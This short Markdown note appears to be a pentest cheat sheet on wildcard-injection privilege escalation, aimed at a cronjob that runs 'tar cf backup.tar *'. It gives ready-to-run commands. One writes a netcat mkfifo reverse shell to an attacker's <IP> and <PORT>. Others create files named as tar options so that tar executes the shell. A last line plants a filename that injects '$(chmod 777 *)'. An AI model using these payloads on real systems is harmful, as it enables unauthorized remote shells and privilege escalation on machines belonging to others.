27 lines
879 B
Markdown
27 lines
879 B
Markdown
# Wildcard usage
|
|
* [Leon Juranic has shown it](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
|
|
|
|
## Another Example
|
|
|
|
* cronjob gets backup data from `/var/www/html` via `tar cf backup.tar *`. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.
|
|
|
|
```sh
|
|
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > shell.sh
|
|
echo "" > "--checkpoint-action=exec=sh shell.sh"
|
|
echo "" > "--checkpoint=1"
|
|
```
|
|
or
|
|
```sh
|
|
echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
|
|
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
|
|
touch "/var/www/html/--checkpoint=1"
|
|
```
|
|
|
|
## touched Filename Options
|
|
|
|
* Give full permissions on all the files
|
|
```sh
|
|
touch './"";$(chmod 777 *)'
|
|
```
|
|
|